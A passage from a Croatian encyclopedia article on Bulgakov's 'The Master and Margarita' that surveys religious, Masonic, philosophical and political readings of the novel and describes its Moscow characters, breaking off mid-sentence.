[[1937.]] (I. kongres arhitekata SSSR-a). * vrlo toplo vrijeme ustalilo se u [[Moskva|Moskvi]] početkom svibnja [[1935.]] (proljetni uštapi tada su pali na sredinu travnja i sredinu svibnja). [[1935.]] odvija se radnja u ekranizaciji iz [[2005.]] Događaji u "Romanu o Ponciju Pilatu" odvijaju se u rimskoj provinciji [[Judeja (rimska provincija)|Judeji]] za vrijeme vladavine cara [[Tiberije|Tiberija]] i namjesnika rimske vlasti Poncija Pilata, na dan uoči [[Pasha|židovskog blagdana Pashe]] i zadnju noć, tj. 14–15 Nisana prema [[Židovski kalendar|židovskom kalendaru]]. Na taj način je vrijeme radnje vjerojatno početak travnja [[29.]] ili [[30.]] godine n.e. == Interpretacija romana == Postojala su mišljenja da se zamisao romana Bulgakovu pojavila nakon što je posjetio redakciju novina "Bezbožnik"<ref>[http://lib.ru/BULGAKOW/ma_chernowiki.txt M.A. Bulgakov. Velikij kancler. Knjaz' t'my., Moskva, 2000 (Uvodni članak V. Loseva).]</ref>. Također se primijetilo da u prvoj redakciji romana seansa crne magije datira [[12. lipnja]], kad je [[1929.]] godine u Moskvi počeo prvi kongres sovjetskih ateista, s predavanjima Nikolaja Buharina i Jemeljana Gubeljmana (Jaroslavskog)<ref name="Барков">{{Cite web|last=Barkov.|first=Alfred|authorlink=|coauthors=|datepublished=|url=http://menippea.narod.ru/|title=Roman Mihaila Bulgakova "Master i margarita": al'ternativnoje pročtenije|format=|work=|publisher=|access-date=12. kolovoza 2008|lang=|archive-url=https://web.archive.org/web/20081109093954/http://menippea.narod.ru/|archive-date=2008-11-09}}</ref>. Postoji nekoliko mišljenja o tome na koji način treba interpretirati ovaj roman. === Odgovor na borbenu ateističku propagandu === Jedno je od mogućih tumačenja romana - odgovor Bulgakova pjesnicima i piscima koji su, po njegovu mišljenju, u Sovjetskoj Rusiji stvorili propagandu ateizma i negiranje postojanja [[Isus Krist|Isusa Krista]] kao povijesne ličnosti, naročito kao odgovor na antireligiozne stihove Demjana Bijednog u novinama "Pravda". Kao posljedica sličnih djelovanja od strane borbenih ateista roman je postao odjek, prijekor. Nije slučajno da u romanu, kako u moskovskom dijelu, tako i u hebrejskom, postoji svojevrstno karikaturno opravdanje lika đavola. Nije slučajna prisutnost likova iz europske demonologije - kao protuteža negiranju postojanja [[Bog]]a u [[SSSR]]-u. Đakon Andrej Kurajev smatra "pilatovska poglavlja" bogohulnima, no savjetuje da se takvim ne smatra cijeli roman. Prema njegovu mišljenju, lik Ješue, kojeg je nadahnuo Woland i opisao majstor, - parodija je ateističke (i tolstojevske) predodžbe o "sladunjavom Isusu", koja pokazuje da je autor sličnih sovjetskih ateističkih brošura - sotona (Woland). U knjizi "Master i Margarita": za Hrista ili protiv?"<ref>{{Cite web |title="Master i Margarita": za Hrista ili protiv? |url=http://kuraev.ru/index.php?option=com_remository&Itemid=54&func=fileinfo&id=11 |access-date=2016-08-19 |archive-date=2012-06-07 |archive-url=https://web.archive.org/web/20120607132323/http://kuraev.ru/index.php?option=com_remository&Itemid=54&id=11&func=fileinfo |dead-url=yes }}</ref> Kurajev uspoređuje završnu varijantu romana s početnom, ukazujući na to da je u ranijim verzijama upravo Woland istupao u ulozi autora romana, dok je majstor bio uveden u roman značajno kasnije. Kurajev naziva roman u romanu (jeruzalemsku priču) "Evanđeljem od sotone"<ref name="kp.ru">[http://www.kp.ru/daily/23638.3/48473/ "Master i Margarita" - Jevangelije ot satany]</ref>. Doista, u ranim redakcijama romana prvo poglavlje wolandovske pripovijesti nazivalo se "Evanđelje od Wolanda" i "Evanđelje od đavola"<ref name="ReferenceA">M. Čudakova. Tvorčeskaja istorija romana Mihaila Bulgakova "Master i Margarita" // Voprosy literatury, 1976.</ref> (uzgred budi rečeno, u prvim redakcijama Bezdomnome se u bolnici javio te dokazivao jeruzalemsku priču sam Woland, a ne majstor; također, u ranoj redakciji Bezdomni mu, zapanjen upućenošću Wolanda o događajima u Jeruzalemu, predlaže: "A vi napišite svoje Evanđelje", na što je Woland odgovorio: "Evanđelje od mene? Hi-hi... To je zanimljivo")<ref name="Барков"/>. Doista, u wolandovskoj jeruzalemskoj priči očito je anti-evanđeljsko i otvoreno [[talmud]]sko izlaganje života [[Isus Krist|Krista]] ("Ješua Ha-Nocri" - ime Krista u [[Talmud]]u); negiranje rođenja u [[Betlehem]]u, podrijetla od cara Davida, ulaska u Jeruzalem na mladom magarcu, općenito negiranje božanstvenosti [[Isus Krist|Isusa Krista]] i odnosa [[Stari Zavjet|starozavjetnih]] proročanstava upravo k Njemu - osnovne točke [[talmud]]skog pripovijedanja o [[Isus Krist|Kristu]]; oni su očiti, npr. u stvaralaštvu Demjana Bijednog, u čemu se može vidjeti parodija i demaskiranje sovjetske antikršćanske propagande. S druge strane, Kurajev piše: {{izdvojeni citat|U određenom smislu, Krist je bio upravo takav kao bulgakovski Ješua Ha-Nocri iz "Majstora i Margarite". Takav je bio "imidž" Krista, takav je ostavljao On dojam na gomilu. I s tog gledišta je roman Bulgakova genijalan: on pokazuje vidljivu vanjsku stranu velikog događaja - dolaska Krista Spasitelja na Zemlju, razotkriva skandaloznost Evanđelja zato što doista, potrebno je imati izvanredan dar Blagoslova, učiniti istinsko djelo Vjere da bi u toj prašnjavoj lutalici bez diplome o višem rabinskom obrazovanju prepoznali Boga|A.V. Kurajev|"Master i Margarita": za Hrista ili protiv"}} === Hermetičko tumačenje romana === Postoji hermetičko tumačenje romana u kojem se ukazuje na sljedeće: Jedna je od osnovnih ideja da je zlo (sotona) neodvojivo od našeg svijeta, jer se dobro ne može zamisliti bez tame. Sotona (kao i dobro načelo - Ješua Ha-Nocri) živi prvenstveno u ljudima. Ješua nije uspio shvatiti izdaju [[Juda Iškariotski|Jude]] (bez obzira na Poncijeve aluzije) zato što je u ljudima vidio samo dobro. I nije se mogao zaštititi zato što nije znao od čega i kako. Osim toga, u navedenom tumačenju postoji tvrdnja da je Bulgakov na svoj način protumačio ideje [[Lav Nikolajevič Tolstoj|L.N. Tolstoja]] o neprotivljenju zlu silom, uvodeći u roman upravo takav lik Ješue. === Masonsko tumačenje romana === Višekratno se spominjalo u različitim istraživanjima da siže romana obiluje masonskim simbolima, dovoljno često se slaže s elementima ritualne prakse masona, koji, kako se utvrđuje, počinju od misterija drevnog Egipta i drevne Grčke, i to pokazuje određeno znanje Mihaila Bulgakova o [[Slobodno zidarstvo|masonstvu]]<ref name=autogenerated1>[http://dic.academic.ru/dic.nsf/enc_bulgakov/78/%D0%9C%D0%90%D0%A1%D0%9E%D0%9D%D0%A1%D0%A2%D0%92%D0%9E Masonstvo]</ref> [[Mihail Bulgakov]] koji je mogao uzeti i pokazati slično znanje od svojeg oca Afanasija Bulgakova, iz njegovog rada "Sovremennoje Frankmasonstvo".<ref>[http://www.bulgakov.ru/m/masonstvo/ Masonstvo :: Masonstvo>]</ref>. Samo tumačenje je sadržano u skrivenim alegorijskim oblicima pripovijedanja. Bulgakov pruža nešto povezano s masonstvom u nejasnom, ne javnom i poluskrivenom obliku. Npr. preobrazba pjesnika Bezdomnog iz neprosvijećene osobe u osobu obrazovanu i uravnoteženu, koja je pronašla sebe i koja je upoznala nešto veće od pisanja loših stihova antireligiozne tematike. Tome pridonosi susret s Wolandom koji je svojevrsno polazište u potragama pjesnika, njegovu prolaženju iskušenja i susretu s Majstorom, koji mu postaje duhovni učitelj.<ref name=autogenerated1 />. Majstor predstavlja lik majstora masona koji je završio sve etape masonskog posvećivanja. Sada je on učitelj, vodič za one koji traže Svijet znanja i istinske duhovnosti. On je autor duhovnog rada o Ponciju Pilatu koji je suodnosan sa zidarskim radom koji vrše masoni u hodu svoje spoznaje Kraljevske Umjetnosti. On o svemu sudi staloženo, ne dozvoljavajući emocijama da ga pobijede i vrate u neprosvijećeno stanje čovjeka-laika<ref name=autogenerated2>[http://www.bulgakov.ru/m/mim/ Master i Margarita :: Mihail Bulgakov, Master i Margarita, samyj zagadočnyj iz romanov za vsju istoriju otečestvennoj literatury XX v]</ref>. Margarita prolazi inicijaciju u jednu od misterija. Sav opis događaja, ti likovi koji se nalaze u izmjenjivanju događaja posvećivanja Margarite, sve govori o jednom od helenističkih kultova, prvenstveno o Dionizijskim misterijima, budući da je [[Satir]] jedan od svećenika koji vrši alkemijsko spajanje vode i vatre, kojim se uvjetuje završetak posvećivanja Margarite. U stvari, prošavši Veliki krug misterija, Margarita postaje učenica i dobiva mogućnost proći Mali krug misterija zbog kojeg je i pozvana na Wolandov Bal. Na Balu se podvrgava mnoštvu iskušenja, što je tako svojstveno ritualima posvećivanja masoná. Nakon završetka istih Margariti je rečeno da su je iskušavali i da je prošla iskušenja. Završetak Bala predstavlja večera uz svijeće, u krugu bliskih prijatelja. To je vrlo karakteristični simbolični opis "Bijele trpeze" (agape) masona. Uzgred budi rečeno, žene mogu biti članovi masonskih loža, no samo ženskih ili mješovitih, kao što je "Le Droit Humain".<ref name=autogenerated2 />. === Filozofsko tumačenje === Osnovna je ideja - neminovnost kazne za djela. Nije slučajno da zagovornici ovog tumačenja ukazuju na to da jedno od centralnih mjesta u romanu zauzimaju djela Wolandove svite do bala, kada se kažnjavaju podmitljivci, bludnici i drugi negativni likovi, te sam sud Wolanda, kada će svatko dobiti po njegovoj vjeri. === Tumačenje Aleksandra Zerkalova === Postoji originalno tumačenje romana koji je predložio pisac fantastike i književni kritičar Aleksandr Zerkalov-Mirer u knjizi "Etika Mihaila Bulgakova"<ref>Zerkalov, A., Etika Mihaila Bulgakova, Moskva, 2004. {{ISBN|5-7516-0409-1}}</ref> (izdana [[2004.]]). Prema Zerkalovu, Bulgakov je u romanu zamaskirao "ozbiljnu" satiru karaktera staljinskog vremena, što je bez dešifriranja bilo jasno prvim slušateljima romana kojima je čitao sam Bulgakov. Prema njegovu mišljenju, Bulgakov se nakon zajedljivog "Psećeg srca" jednostavno nije mogao spustiti do satire u stilu Iljfa-Petrova. Međutim, nakon događaja oko "Psećeg srca" Bulgakov je bio prisiljen pažljivije maskirati, razmještajući svojevrsne "bilješke" za ljude koji su ih razumjeli. Vrijedi primijetiti da su u ovom tumačenju neki dijelovi koji se ne podudaraju i koji su nejasni dobili vjerodostojno objašnjenje. Nažalost, Zerkalov je rad ostao nedovršen. === A. Barkov: "Majstor i Margarita" - roman o [[Maksim Gorki|M. Gorkom]] === U skladu sa zaključcima književnog kritičara A. Barkova "Majstor i Margarita" je roman o [[Maksim Gorki|Maksimu Gorkom]], koji prikazuje slom ruske kulture nakon [[Oktobarska revolucija|Oktobarske revolucije]], pri čemu je u romanu prikazana ne samo stvarnost sovjetske kulture u Bulgakovo doba i književne sredine na čelu s proslavljenim u sovjetskim novinama "majstorom socijalističke književnosti" [[Maksim Gorki|Gorkim]], kojeg je na pijedestal postavio [[Lenjin]], no i događaji [[Oktobarska revolucija|Oktobarske revolucije]] i čak ruska revolucija [[1905.]] godine. Prema Barkovu, kao prototip majstora je poslužio [[Maksim Gorki]], Margarite - njegova supruga, umjetnica MHAT-a Marija Andrejeva, Wolanda - [[Lenjin]], Latunskog i Semplejarova - Lunačarski, Levija Mateja - [[Lav Nikolajevič Tolstoj|Tolstoj]], kazališta Varijete - MHAT.<ref name="Барков"/>. Barkov uvjerljivo razotkriva sustav likova, jasno upućujući na prototipove likova i vezu između njih u životu. Što se tiče osnovnih likova, upućuje se na sljedeće: * Majstor: 1) Tridesetih godina prošlog stoljeća titula "majstor" u sovjetskoj publicistici i novinama čvrsto se vezala uz [[Maksim Gorki|Maksima Gorkog]], za što Barkov navodi primjere iz periodike. Titulu "majstor" kao utjelovljenje višeg stupnja tvorca epohe [[socrealizam|socrealizma]], pisca koji je sposoban izvršiti bilo kakvu ideološku narudžbu, uveli su i promicali Nikolaj Buharin i Lunačarski<ref>{{Cite web |url=http://lunacharsky.newgod.su/lib/ss-tom-2/mysli-o-mastere |title=A.V. Lunačarski: "Mysli o mastere", "Literaturnaja gazeta", № 27, 11. lipnja 1933. |access-date=2016-08-19 |archive-date=2016-03-04 |archive-url=https://web.archive.org/web/20160304184324/http://lunacharsky.newgod.su/lib/ss-tom-2/mysli-o-mastere |url-status=dead }}</ref>. 2) U romanu se često ukazuje na godinu događaja - [[1936.]] Oštro proturječi s određenim ukazivanjem na svibanj kao vrijeme pripovijedanja, u odnosu na smrt Berlioza i majstora u romanu jasno se upućuje na lipanj (čipkasta sjena akacija, tek zazelenjele lipe, u ranijim redakcijama spominjale su se jagode). Štoviše, fraze Wolanda ukazuju na drugi mladi mjesec svibanjsko-lipanjskog razdoblja koje je [[1936.]] godine palo na [[19. lipnja|19. lipanj]]. To je dan kad se cijela zemlja opraštala od [[Maksim Gorki|Maksima Gorkog]] koji je umro dan ranije. Tama koja prekriva grad (i Jeruzalem i Moskvu) je opis onoga što se dogodilo taj dan, [[19. lipnja]], [[Pomrčina Sunca|pomrčina sunca]] (stupanj prekrivenosti diska sunca u Moskvi je iznosila 78%) je bila popraćena snižavanjem temperature i jakim vjetrom (s noći na taj dan u Moskvi je bilo jako nevrijeme), kada je tijelo [[Maksim Gorki|Gorkog]] bilo izloženo u Kolonnoj dvorani [[Moskovski Kremlj|Kremlja]]. Roman također sadrži detalje njegove sahrane (dvorana, iznošenje tijela kod Kremlja (Aleksandrovski vrt) i dr.) (Detalji su nedostajali u ranijim redakcijama; pojavili su se nakon [[1936.]] godine.) 3) Roman koji je napisao "majstor", koji predstavlja otvoreno [[talmud]]sko (i izazovno anti-[[Evanđelje|evanđeljsko]]) izlaganje života [[Isus Krist|Krista]], parodija je ne samo stvaralaštva i uvjerenja [[Maksim Gorki|Gorkog]], nego i [[Lav Nikolajevič Tolstoj|Tolstoja]], a također razotkriva uvjerenja cijele sovjetske antireligiozne propagande. Suvišno je napominjati pod čijim utjecajem je napisan roman "majstora". * Margarita: 1) "gotska vila" Margarite (adresa se lako čita iz teksta romana - ulica Spiridonovka) je stan Savve Morozova s kojim je do [[1903.]] godine živjela Marija Andrejeva, umjetnica MHAT-a i marksistica, ljubavnica Morozova, kojoj je on davao ogromne iznose koje je koristila za potrebe partije [[Lenjin]]a. Andrejeva je od [[1903.]] godine bila u građanskom braku s Gorkim. 2) [[1905.]] godine, nakon samoubojstva Morozova, Andrejeva je dobila policu osiguranja Morozova na svoje ime u iznosu od 100 tisuća rubalja, od kojih je 10 tisuća dala Gorkom za isplatu njegovih dugova, a ostalo je dala za potrebe RSDRP-a, Ruske socijaldemokratske radničke partije, (u romanu majstor nalazi "u košari s prljavim rubljem" "obveznicu" po kojoj osvaja sto tisuća rubalja (s pomoću kojih počinje "pisati svoj roman", tj. razvija značajnu književnu karijeru), a od njih 10 tisuća predaje Margariti. 3) Peterokatnica sa "zlosretnim stanom" u svim redakcijama je imala predrevolucionarnu opću numeraciju Sadovog prstena što ukazuje na događaje prije revolucije. "Zlosretni stan" se u romanu isprva označavao brojem 20, a ne 50. Prema geografskim oznakama prvih redakcija romana to je stan № 20 u ulici Vozdviženka, dom 4, gdje su za vrijeme revolucije [[1905.]] godine živjeli Gorki i Andrejeva, gdje se nalazila baza za obuku naoružanih boraca-marksista koju je organizirala Andrejeva, i gdje je Gorkog i Andrejevu nekoliko puta posjetio [[Lenjin]] (o nekoliko njegovih posjeta u tom stanu [[1905.]] godine govori memorijalna tablica na zgradi: ulica Vozdviženka, 4). Ovdje se nalazila "kućna pomoćnica" "Nataša" (partijski nadimak jedne od suradnica Andrejeve). Također se tu odigrala epizoda s pucanjem kad je jedan od boraca, baveći se oružjem, probio zid u susjedni stan (epizoda s pucnjem Azazella). 4) Muzej koji se spominje u monologu majstora u pogledu njegove žene (- Bili ste oženjeni? - Pa da, eto, ne mogu se sjetiti... s tom ... Varenjkom, Manečkom ... ne, Varenjkom ... u prugastoj haljini, muzej") upućuje na rad Gorkog i Andrejeve u godinama nakon revolucije u komisiji za izbor muzejskih vrijednosti za prodaju u inozemstvo; Andrejeva je podnijela izvještaj o prodaji muzejskih dragocjenosti u Berlin osobno [[Lenjin]]u. Imena koja je spomenuo majstor (Manečka, Varenjka) upućuju na stvarne žene Gorkog - Mariju Andrejevu, Varvaru Šajkevič i Mariju Zakrevsku-Benkendorf. 5) Falernsko vino spomenuto u romanu upućuje na talijansku oblast [[Napulj]]-Salerno-[[Capri]], tijesno povezanoj s biografijom Gorkog, gdje je on proveo nekoliko godina života, i gdje je Gorkog i Andrejevu višekratno posjetio [[Lenjin]], a također na djelatnost caprijske škole boraca RSDRP-a, u čijem je radu aktivno sudjelovala Andrejeva koja je često boravila na Capriju. Na to upućuje i tama koja je došla upravo sa [[Sredozemno more|Sredozemnog mora]] (uzgred budi rečeno, [[Pomrčina Sunca|pomrčina sunca]] [[19. lipnja]] [[1936.]] godine doista je počela nad Sredozemnim morem i prošla je cijelim teritorijem [[SSSR]]-a sa zapada na istok). * Woland - njegov prototip iz stvarnog života je [[Lenjin]], koji je osobno sudjelovao u odnosu Andrejeve i Gorkog, tj. iskoristio Andrejevu da utječe na Gorkog. 1) Majstora i Margaritu ženi Woland na velikom balu - [[1903.]] godine (nakon upoznavanja Andrejeve s Gorkim) [[Lenjin]] je u [[Ženeva|Ženevi]] osobno dao naredbu Andrejevoj da još tješnje uvuče Gorkog u rad RSDRP-a. 2) Na kraju romana Woland sa svitom stoji na zgradi doma Paškova, carujući nad njom. To je zgrada Državne biblioteke "V.I. Lenjin", čiji je značajni dio ispunjen radovima [[Lenjin]]a (u ranim redakcijama Woland, objašnjavajući razlog svog dolaska u Moskvu, umjesto da spominje radove [[Silvestar II.|Silvestra II.]], govori: "Ovdje je u državnoj biblioteci velika zbirka radova iz crne magije i demonologije"). Na taj način je, prema A. Barkovu, u romanu prikazana priprema i provođenje [[Oktobarska revolucija|Oktobarske revolucije]], kulturni prevrat kontinentalnog značaja (i kozmičkog utjecaja), Lenjinovo stvaranje nove sovjetske kulture, ustoličenje na kulturni pijedestal [[Maksim Gorki|Gorkog]], a također suton, propast (fizička i duhovna) Maksima Gorkog<ref name="Барков"/>. == Likovi == === [[Moskva]] 30-ih godina === ==== Majstor ==== Profesionalni povjesničar, koji je osvojio veliku svotu na lutriji i koji je dobio mogućnost da se okuša kao književnik. Postavši piscem, mogao je napisati genijalni roman o [[Poncije Pilat|Ponciju Pilatu]] i [[Isus Krist|Ješui Ha-Nocriju]], no pokazao se kao čovjek koji nije prilagođen epohi u kojoj je živio. Bio je doveden do očaja progonima od strane kolega koji su oštro kritizirali njegovo djelo. Nigdje u romanu se ne spominje njegovo ime i prezime, na izravna pitanja o tome on se uvijek odbija predstaviti, govoreći: "Nećemo o tome". Poznat je samo pod nadimkom "majstor" koji mu je dala Margarita. Sam se smatra nedostojnim takvog imena, smatrajući ga hirom voljene. Majstor je osoba koja je postigla najveći uspjeh u nekoj djelatnosti, pa ga je možda zato odbacio svijet koji nije u stanju vrednovati njegov talent i sposobnosti. Majstor, glavni junak romana, piše roman o Ješui i [[Poncije Pilat|Pilatu]]. Majstor piše roman interpretirajući događaje na svoj način, bez čuda i snage blagoslova - kao kod [[Lav Nikolajevič Tolstoj|Tolstoja]]. Majstor je razgovarao s Wolandom - [[Sotona|sotonom]], svjedokom, po njegovim riječima, događaja koji se opisuju u romanu. "S balkona je oprezno virio u sobu obrijani, tamnokosi, oštra nosa, nemirnih očiju i s čuperkom kose koja je padala na čelo, čovjek od približno trideset i osam godina." ==== Margarita ==== Supruga poznatog inženjera, lijepa, materijalno osigurana, no dosađuje se u braku, pati zbog ispraznosti svojeg života. Slučajno se susrevši s Majstorom na ulicama [[Moskva|Moskve]], zavoljela ga je na prvi pogled, strastveno povjerovala u uspjeh njegovog romana, prorekla mu slavu. Kada je Majstor odlučio spaliti svoj roman, uspjela je spasiti samo nekoliko stranica. Zatim sklapa sporazum s [[Sotona|vragom]] i postaje kraljica sotonskog bala kojeg priređuje Woland da bi vratila svog nestalog Majstora. Margarita je simbol ljubavi i požrtvovnosti u ime drugog čovjeka. Da se roman preimenuje, ne koristeći simbole, njegov naslov bi bio "Stvaranje i Ljubav". ==== Woland i njegova svita ==== [[Sotona]], koji je posjetio [[Moskva|Moskvu]] kao strani profesor crne magije, "povjesničar". Prilikom prvog pojavljivanja u romanu pripovijeda prvo poglavlje iz romana o Ješui i [[Poncije Pilat|Pilatu]]. Vanjski izgled: nosio je obično sovjetsko odjelo, skupe inozemne cipele, crni plašt, uvijek je nosio štap s crnom drškom u obliku pudličine glave, jedno oko mu je zeleno, drugo - crno, usta nakrivljena zbog ožiljka, pušio je lulu i stalno nosio sa sobom tabakeru. * '''Fagot (Korovjev)''' Cijelo vrijeme je hodao u ružnoj odjeći kockastog uzorka i nosio cvikere s jednim cijelim i jednim napuklim staklom. U svojem pravom obliku je vitez koji je kažnjen time da stalno bude u sotoninoj sviti zbog toga što je jednom izrekao neuspio kalambur o svjetlu i tami. Korovjov-Fagot unekoliko nalikuje na [[fagot]] - tanki dugački instrument, složen na tri puta. Štoviše, fagot je instrument koji ima i dubok i visok registar, bas ili diskant. Ako se pogleda ponašanje Korovjeva, tj. promjene njegovog glasa, jasno se vidi još jedan [[simbol]] u imenu. Bulgakovski je lik mršav, visok i varljive poniznosti, spreman je trostruko se poniziti pred sugovornikom (da bi mu zatim mirno napakostio). U liku Korovjeva (i njegova odanog suputnika Behemota) jake su tradicije narodne kulture smijeha, ti likovi čuvaju tijesnu genetičku vezu s junacima [[Pikarski roman|pikarskog romana]] svjetske književnosti.<ref>[https://archive.today/20120728170232/vika-milenko.narod.ru/stati/tsirk_v_mastere_i_margarite/ Cirk v "Mastere i Margarite / Statji / Glavnaja], milenko@narod.ru</ref> Postoji mogućnost da su imena likova Wolandove svite povezana s [[Hebrejski jezik|hebrejskim jezikom]]. Npr., Korovjev (na hebrejskom "karov" - blizak, tj. povjerljiva ličnost), Behemot (na hebrejskom "begema" - podlac), Azazello (na hebrejskom "azazel" - demon). * '''Azazello''' Demon-ubojica s odbojnom vanjštinom. Prototip tog lika je [[pali anđeo]] [[Azazel]] (u židovskim religijama - koji je kasnije postao demon pustinje), - spominje se u [[Knjiga proroka Henoka|apokrifnoj knjizi proroka Henoka]]-, jedan od anđela čija su djelovanja na zemlji isprovocirala gnjev [[Bog]]a i Veliki potop. Također, Azazel je demon koji je dao muškarcima oružje, a ženama - kozmetiku, ogledala. Nije slučajno da on odlazi Margariti da joj da kremu. * '''Mačak Behemot''' Šaljiv i nemiran duh, prikazan kao gigantski mačak koji hoda na zadnjim šapama i kao debeo građanin čije lice podsjeća na mačka. Prototip ovog lika je istoimeni demon [[Bahamut|Behemoth]], demon proždrljivosti i raskalašenog života koji umije preuzimati oblike mnogih velikih životinja. U svom istinskom obliku Behemot je mršavi mladić, demon-paž. Ljubov Belozjorska (druga supruga [[Mihail Bulgakov|M.A. Bulgakova]]) je pisala o kujici Buton, nazvanoj u čast [[Molière|Molièrove]] sluge. "Ona je čak objesila na ulaznim vratima pod ceduljom Mihaila Afanasjeviča drugu cedulju na kojoj je bilo napisano: "Buton Bulgakov"". To je stan u Boljšoj Pirogovskoj. Tamo je Mihail Afanasjevič započeo s radom nad "Majstorom i Margaritom". * '''Hella''' [[Vještice|Vještica]] i [[vampir]]ica koja zbunjuje sve posjetitelje (tj. ljude) navikom da na sebi ne nosi praktički ništa. Ljepotu njezina tijela kvari samo crvena brazgotina na vratu. U sviti Wolanda ima ulogu sobarice. Woland, preporučivši Hellu Margariti, govori da nema te usluge koju ne bi učinila. ==== Mihail Aleksandrovič Berlioz ==== Predsjednik MASSOLIT-a (izmišljena organizacija; ovu skraćenicu se može dešifrirati kao "Moskovskaja associacija literatorov", "Masterskaja (Mastera) Socialističeskoj Literatury", Massovaja literatura"), književnik, načitan, obrazovan i osoba koja se prema svemu odnosi skeptički. Živio je u "zlosretnom stanu" u Sadovoj 302 bis, kuda se kasnije za vrijeme boravka u [[Moskva|Moskvi]] doselio Woland. Poginuo je ne povjerovavši Wolandovu predviđanju o svojoj iznenadnoj smrti. Bila mu je određena najsurovija kazna. Za [[ateizam]], koji je pokazao za vrijeme prvog razgovora s Wolandom, njegova se glava našla na balu [[Sotona|sotone]], tamo je bila opovrgnuta njegova teorija te dokazano postojanje vraga, a time i [[Bog]]a. Nakon toga, u skladu s njegovom teorijom, Berlioz ne odlazi u [[pakao]] ili u [[raj]], nego u ne-bitak. ==== Ivan Nikolajevič Ponirjov (Bezdomni) ==== Pjesnik, član MASSOLIT-a. pravo prezime mu je Ponirjov (rus. Понырёв). Napisao je antireligioznu poemu, te je jedan od prvih junaka (zajedno s Berliozom) koji su susreli Korovjova i Wolanda. Završivši u ludnici, prvi je upoznao Majstora. Zatim se izliječio, prestao baviti poezijom i postao profesor Instituta za povijest i filozofiju. ==== Stjepan Bogdanovič Lihodejev ==== Direktor Varijetea, Berliozov susjed, također živi u "zlosretnom stanu" u Sadovoj ulici. Neradnik, ženskar i pijanica. Zbog "službenog neslaganja" Wolandovi pomagači su ga teleportirali na Jaltu. ==== Nikanor Ivanovič Bosoj ==== Predsjednik stambene zajednice u Sadovoj ulici, gdje se naselio Woland za vrijeme boravka u [[Moskva|Moskvi]]. Pohlepan je, dan prije je uzeo sredstva iz blagajne stambene zajednice. Korovjov je s njim sklopio dogovor za najam stana i dao mito: "kako je naknadno tvrdio predsjednik", "svežanj je sam kliznuo u njegovu torbu". Zatim je Korovjov prema Wolandovom nalogu pretvorio [[Rublja|rublje]] u [[dolar]]e i u ime jednog od susjeda javio o skrivenoj valuti u [[NKVD]]. Trudeći se nekako opravdati, Bosoj je priznao uzimanje mita i dao izjavu o sličnim prijestupima svojih pomoćnika, što je dovelo do uhićenja svih članova stambene zajednice. Zbog daljnjeg ponašanja na saslušanju poslali su ga u psihijatrijsku bolnicu gdje je imao mȍre o zahtjevima da preda valutu koju ima kod sebe. ==== Ivan Saveljevič Varenuha ==== Administrator Varijetea. Pao je u šake Wolandove bande kada je nosio u [[NKVD]] telegrame Lihodejeva koji je završio na Jalti. Za kaznu za "laganje i grubost na telefonu" Hella ga je pretvorila u [[vampir]]a-potkazivača. Nakon bala ponovno je pretvoren u čovjeka i pušten. Nakon završetka svih događaja opisanih u romanu, Varenuha je postao blažim, pristojnijim i poštenijim čovjekom. Zanimljivost: kazna Varenuhe je bila "osobna inicijativa" Azazella i Behemota. ==== Grigorij Danilovič Rimski ==== Financijski direktor Varijetea. Bio je potresen napadom Helle i Varenuhe toliko da je u potpunosti posijedio, a zatim je htio bježati iz [[Moskva|Moskve]]. Na saslušanju u [[NKVD]]-u zamolio je da ga "sakriju u blindiranu sobu". ==== Žorž Bengalski ==== Konferansije Varijetea. Svita Wolanda ga je okrutno kaznila: otrgnuli su mu glavu zbog neuspjelih komentara koje je izgovorio za vrijeme predstave. Nakon što su mu vratili glavu na mjesto, nije mogao doći k sebi i završio je u klinici profesora Stravinskog. Figura Bengalskog je jedna od mnogih satiričnih figura čiji je cilj kritika sovjetskog društva. ==== Vasilij Stepanovič Lastočkin ==== Knjigovođa Varijetea. Dok je vraćao blagajnu, otkrivao je tragove Wolandove svite u ustanovama u kojima se nalazio. Za vrijeme vraćanja blagajne neočekivano je otkrio da se novac pretvorio u stranu valutu. ==== Prohor Petrovič ==== Predsjednik scenske komisije Varijetea. Mačak Behemot ga je privremeno oteo, ostavivši na njegovom radnom mjestu prazno odijelo zbog toga što je vršio, njemu neprimjerenu, službu. ==== Maksimilijan Andrejevič Poplavski ==== [[Kijev]]ski ujak Berlioza koji je maštao da živi u [[Moskva|Moskvi]]. Behemot ga je pozvao u [[Moskva|Moskvu]] na sahranu, međutim, po dolasku ga je nije toliko brinula smrt pokojnika koliko stan koji je ostao iza njega. Prognao ga je Behemot, a izbacio Azazello, s instrukcijama da se vrati nazad u [[Kijev]]. ==== Andrej Fokič Sokov ==== Bifedžija Varijetea kojeg je Woland iskritizirao za nekvalitetnu hranu koja se posluživala u bifeu. Uštedio je više od 249 tisuća rubalja na nabavci proizvoda "drugorazredne svježine" i drugim zlouporabama službenog položaja. Dobio je od Korovjova obavijest o svojoj smrti od raka jetre za 9 mjeseci, kojemu je, za razliku od Berlioza, povjerovao, te je poduzeo sve potrebne mjere da ga spriječi, što mu, naravno, nije pomoglo. ==== Profesor Kuzmin ==== Doktor koji je pregledao Sokova. Posjetio ga je Azazello koji se prvo pretvorio u "velikoga vrapca", zatim u medicinsku sestru s "muškim ustima". Uz očit liječnički talent imao je manu - pretjeranu nepovjerljivost, za što ga je Azazello i kaznio - laganim pomračenjem [[um]]a. ==== Nikolaj Ivanovič ==== Susjed Margarite s donjeg kata. Margaritina kućna pomoćnica Nataša pretvorila ga je u nerast i u takvom obliku je "vrbovan kao prijevozno sredstvo" za bal kod [[Sotona|Sotone]]. Uzrok kazne - pohota. Na molbu Margarite bilo mu je oprošteno, no do kraja života je žalio zbog takvog oprosta jer - bolje je biti nerast ispod nage Nataše nego trpjeti do kraja života dosadnu ženu. ==== Nataša ==== Margaritina kućna pomoćnica koja se po vlastitoj želji pretvorila u vješticu za vrijeme Wolandova posjeta [[Moskva|Moskvi]]. ==== Alojzij Mogarič ==== Majstorov poznanik koji je napisao o njemu lažnu prijavu radi prisvajanja stambenog prostora. Svita Wolanda ga je izgnala iz novog stana. Nakon Wolandova suda u rastresenom stanju je napustio [[Moskva|Moskvu]], no, prenuvši se negdje u [[Kirov|Vjatki]], vratio se. Zamijenio je Rimskog na dužnosti findirektora Varijetea. Mogaričev rad na toj dužnosti donio je puno patnji Varenuhi. ==== Anuška ==== Profesionalna špekulantica. Razbila je bocu suncokretova ulja kod obrtaljke što je bio razlog smrti Berlioza. Strana je podudarnost da je živjela u susjedstvu "zlosretnog stana". Kasnije joj je Azazello zaprijetio zbog krađe dijamantne potkove koju je Woland poklonio Margariti za sjećanje na posljednji susret (dijamant je bio 